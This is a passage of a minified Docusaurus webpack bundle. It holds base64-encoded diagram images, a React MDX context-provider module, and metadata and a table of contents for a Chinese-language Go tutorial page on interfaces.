2hDnWEwO8ePHD7SvD/GhIBqI4P+7HCVFO+fsCXfB4148BOluI0eOVOK1r/Co3B84cICwb3c3TBo4LkPqjuMxewENVXRcm8W+HMeBMBTrUNjDMZqVdtv3hyjqYSuA6rt9K4D+0R/eUbNmTbVilytXTt3+Q6HOMqSiOAqEz5bh57iHYP+e85ARieBF8N7wBs+Ei+BRmMF+DSt1vnz5CBVad6tSpQq1bdtWidgS0saNG1XRDyLFmb7dkBG0bNmSkiRJ8kYBDb+wU6BAAXXfGme6qJCPGDFC/QIOLvvgUkzs2LEDFe3QNwpsyBZwjTNnzpy0fv16daUXVXasMNYWAXtMVJdxkShTpkyEUwLs1TFpWReJjh07pk4qrJMDbwOG50TwInhv+RMugkehzj0tf9sAIOB9+/a5foyVG5MEUmm7QdQ4a8dq/O23377RHQSH1RkrL4p/SK8hVGQXe/fuVVVzPIuTAKumgIkJfq5atUpNJKgdoDiIrQAmJJw6wDABYAJBO9QQcDsQmQnO/C3D5IWjP+vSkLcBM1XwmMRQS8ERqt0wyeMkxap72GOEAi1Oc3CXwn5UGxpsI8KznBN6mAoeZ+k4YsHKhxXVG0NKD8FDwNi3OzXs+5yegYNYkSJFUl8hWVD9YxLARIXVHXcJQmuchAitb/J86BHgjG+YCj70UPzXA863cRSHiy06GFZ+nNG7ny546zsnIbz1SZ7zHQKc8dVS8L6DVs+eOAmhJyJmec0ZXxG8hlzhJISGcBjnMmd8RfAa0oWTEBrCYZzLnPEVwWtIF05CaAiHcS5zxlcEryFdOAmhIRzGucwZXxG8hnThJISGcBjnMmd8RfAa0oWTEBrCYZzLnPEVwWtIF05CaAiHcS5zxlcEryFdOAmhIRzGucwZXxG8hnThJISGcBjnMmd8RfAa0oWTEBrCYZzLnPEVwWtIF05CaAiHcS5zxlcEryFdOAmhIRzGucwZXxG8hnThJISGcBjnMmd8RfAa0oWTEBrCYZzLnPEVwWtIF05CaAiHcS5zxlcEryFdOAmhIRzGucwZXxG8hnThJISGcBjnMmd8RfAa0oWTEBrCYZzLnPEVwWtIF05CaAiHcS5zxlcEryFd7ITQ0H1x2QMEjPioKQ/GKU08QMASvAdNpYnGCGj/2XIaYx+hXIfgAwICIpRP4ozvEcDnIGj9YZK+h0R6FAQEAScIyB7eCVrSVhDQHAERvOYBFPcFAScIiOCdoCVtBQHNERDBax5AcV8QcIKACN4JWtJWENAcARG85gEU9wUBJwiI4J2gJW0FAc0REMFrHkBxXxBwgoAI3gla0lYQ0BwBEbzmART3BQEnCIjgnaAlbQUBzREQwWseQHFfEHCCgAjeCVrSVhDQHAERvOYBFPcFAScIiOCdoCVtBQHNERDBax5AcV8QcIKACN4JWtJWENAcARG85gEU9wUBJwj8H0g8lM+ETQ2HAAAAAElFTkSuQmCC"},28453:(n,e,c)=>{c.d(e,{R:()=>d,x:()=>s});var r=c(96540);const l={},i=r.createContext(l);function d(n){const e=r.useContext(i);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function s(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(l):n.components||l:d(n.components),r.createElement(i.Provider,{value:e},n.children)}},49150:(n,e,c)=>{c.d(e,{A:()=>r});const r=c.p+"assets/images/interface03-0d4522f8a9f779e7c8a066b710c6d17e.png"},52012:(n,e,c)=>{c.d(e,{A:()=>r});const r="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAARAAAACiCAYAAACJf5LfAAAErXRFWHRteGZpbGUAJTNDbXhmaWxlJTIwaG9zdCUzRCUyMkVsZWN0cm9uJTIyJTIwbW9kaWZpZWQlM0QlMjIyMDIyLTAyLTA1VDEyJTNBMzElM0E0OS40NTdaJTIyJTIwYWdlbnQlM0QlMjI1LjAlMjAoTWFjaW50b3NoJTNCJTIwSW50ZWwlMjBNYWMlMjBPUyUyMFglMjAxMF8xNF81KSUyMEFwcGxlV2ViS2l0JTJGNTM3LjM2JTIwKEtIVE1MJTJDJTIwbGlrZSUyMEdlY2tvKSUyMGRyYXcuaW8lMkYxNC41LjElMjBDaHJvbWUlMkY4OS4wLjQzODkuODIlMjBFbGVjdHJvbiUyRjEyLjAuMSUyMFNhZmFyaSUyRjUzNy4zNiUyMiUyMGV0YWclM0QlMjJoZk1nVl9yZ25ubzZ6b3l5cGw3MyUyMiUyMHZlcnNpb24lM0QlMjIxNC41LjElMjIlMjB0eXBlJTNEJTIyZGV2aWNlJTIyJTNFJTNDZGlhZ3JhbSUyMGlkJTNEJTIyeWI4Wi1PbGFsOHFJNndJdUxEOGYlMjIlMjBuYW1lJTNEJTIyJUU3JUFDJUFDJTIwMSUyMCVFOSVBMSVCNSUyMiUzRTNaWGRqcHN3RUlXZnh0TDJvaElHUWNobFRFbXJTdTJ1R2xXOTltSXZXREUyY3B3Uzh2UTFZWUFRV0cxYnFZclVLJTJCd3olMkZtRyUyQk03WlJrSlNuajRaV3hSZk51RVMlMkJ4MDRvJTJCSUI4SCUyQk00Y3A5V2FUb2xYb1dka0J2QllOQW83TVNaZyUyQmlCZWhTTUh5WURyZGJTaW1vcVpsb3BudG1KUm8zUjlYVFlpNWJUWFN1YTg1bXd5NmljcXo4RXN3Vms0YTlHJTJGUk1YZWRIdmpLTjFGeWxwUHhneU9SU1U2ZnBLQ2xJVUpFWnIyN1hLVThKbEM2JTJGbjBzM2J2aElkZnN4d1pYOW53bmt0ViUyQkd6SkRyOSUyQm4xZmYlMkZ0YzElMkJINVBhenlrOG9qSkl6U0ZTSVlFWUxTRUsxVEZKTUgyMVQ4SFNSaG01Nk0wVWZGZUx1NGh3SlNGOEx5WFVXek5scTdXbkJhWVV2cGV0ZzFYN1N5VzFvSzJaYkI0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"},85265:(n,e,c)=>{c.d(e,{A:()=>r});const r=c.p+"assets/images/interface04-dce67b2e12962fe61b5e4d6e18724ecb.png"},99702:(n,e,c)=>{c.r(e),c.d(e,{assets:()=>a,contentTitle:()=>s,default:()=>o,frontMatter:()=>d,metadata:()=>r,toc:()=>h});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u63a5\u53e3","title":"\u63a5\u53e3","description":"\u672c\u7ae0\u5b66\u4e60\u76ee\u6807","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/16.GoLang-\u63a5\u53e3.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u63a5\u53e3","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u63a5\u53e3","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/16.GoLang-\u63a5\u53e3.md","tags":[],"version":"current","sidebarPosition":16,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u5305\u4e0e\u4f9d\u8d56\u7ba1\u7406","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5305"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53cd\u5c04","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53cd\u5c04"}}');var l=c(74848),i=c(28453);const d={},s="\u63a5\u53e3",a={},h=[{value:"\u63a5\u53e3\u7c7b\u578b",id:"\u63a5\u53e3\u7c7b\u578b",level:2},{value:"\u63a5\u53e3\u7684\u5b9a\u4e49",id:"\u63a5\u53e3\u7684\u5b9a\u4e49",level:3},{value:"\u5b9e\u73b0\u63a5\u53e3\u7684\u6761\u4ef6",id:"\u5b9e\u73b0\u63a5\u53e3\u7684\u6761\u4ef6",level:3},{value:"\u4e3a\u4ec0\u4e48\u8981\u4f7f\u7528\u63a5\u53e3\uff1f",id:"\u4e3a\u4ec0\u4e48\u8981\u4f7f\u7528\u63a5\u53e3",level:3},{value:"\u9762\u5411\u63a5\u53e3\u7f16\u7a0b",id:"\u9762\u5411\u63a5\u53e3\u7f16\u7a0b",level:3},{value:"\u63a5\u53e3\u7c7b\u578b\u53d8\u91cf",id:"\u63a5\u53e3\u7c7b\u578b\u53d8\u91cf",level:3},{value:"\u503c\u63a5\u6536\u8005\u548c\u6307\u9488\u63a5\u6536\u8005",id:"\u503c\u63a5\u6536\u8005\u548c\u6307\u9488\u63a5\u6536\u8005",level:2},{value:"\u503c\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3",id:"\u503c\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3",level:3},{value:"\u6307\u9488\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3",id:"\u6307\u9488\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3",level:3},{value:"\u7c7b\u578b\u4e0e\u63a5\u53e3\u7684\u5173\u7cfb",id:"\u7c7b\u578b\u4e0e\u63a5\u53e3\u7684\u5173\u7cfb",level:2},{value:"\u4e00\u4e2a\u7c7b\u578b\u5b9e\u73b0\u591a\u4e2a\u63a5\u53e3",id:"\u4e00\u4e2a\u7c7b\u578b\u5b9e\u73b0\u591a\u4e2a\u63a5\u53e3",level:3},{value:"\u591a\u79cd\u7c7b\u578b\u5b9e\u73b0\u540c\u4e00\u63a5\u53e3",id:"\u591a\u79cd\u7c7b\u578b\u5b9e\u73b0\u540c\u4e00\u63a5\u53e3",level:3},{value:"\u63a5\u53e3\u7ec4\u5408",id:"\u63a5\u53e3\u7ec4\u5408",level:2},{value:"\u7a7a\u63a5\u53e3",id:"\u7a7a\u63a5\u53e3",level:2},{value:"\u7a7a\u63a5\u53e3\u7684\u5b9a\u4e49",id:"\u7a7a\u63a5\u53e3\u7684\u5b9a\u4e49",level:3},{value:"\u7a7a\u63a5\u53e3\u7684\u5e94\u7528",id:"\u7a7a\u63a5\u53e3\u7684\u5e94\u7528",level:3},{value:"\u7a7a\u63a5\u53e3\u4f5c\u4e3a\u51fd\u6570\u7684\u53c2\u6570",id:"\u7a7a\u63a5\u53e3\u4f5c\u4e3a\u51fd\u6570\u7684\u53c2\u6570",level:4},{value:"\u7a7a\u63a5\u53e3\u4f5c\u4e3amap\u7684\u503c",id:"\u7a7a\u63a5\u53e3\u4f5c\u4e3amap\u7684\u503c",level:4},{value:"\u63a5\u53e3\u503c",id:"\u63a5\u53e3\u503c",level:2},{value:"\u7c7b\u578b\u65ad\u8a00",id:"\u7c7b\u578b\u65ad\u8a00",level:2}];function t(n){const 